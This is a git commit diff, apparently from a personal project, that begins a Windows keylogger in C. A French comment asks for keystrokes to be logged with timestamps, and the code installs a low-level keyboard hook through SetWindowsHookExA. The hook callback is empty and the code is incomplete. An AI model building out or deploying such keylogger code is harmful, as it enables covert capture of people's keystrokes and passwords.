util;iser les hook windows

This commit is contained in:
H3XploR
2026-03-27 22:26:25 +01:00
parent ed3615b987
commit 6e9fce6055
+13 -1
View File
@@ -8,10 +8,22 @@
* -Tout ces infos doivent etre stocker dans un fichier de log avec l'horaire des logs * -Tout ces infos doivent etre stocker dans un fichier de log avec l'horaire des logs
* -Evidement le logs logs doivent etre lisible par un humain * -Evidement le logs logs doivent etre lisible par un humain
*/ */
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, wParam, lParam){
}
int main(void){ int main(void){
BOOL is_running = 1; BOOL is_running = 1;
HWND hdWindowForeground = GetFocus(); HWND hdWindowForeground = GetFocus();
HHOOK HookFgWind = SetWindowsHookExA(WH_KEYBOARD_LL, HHOOK HookFgWind = SetWindowsHookExA(WH_KEYBOARD_LL,
LowLevelKeyboardProc,
NULL,
0);
if (HookFgWind == NULL){
printf("Le hook est nul\n");
return 1;
}
printf("Le hook est bon\n");
return 0; return 0;
} }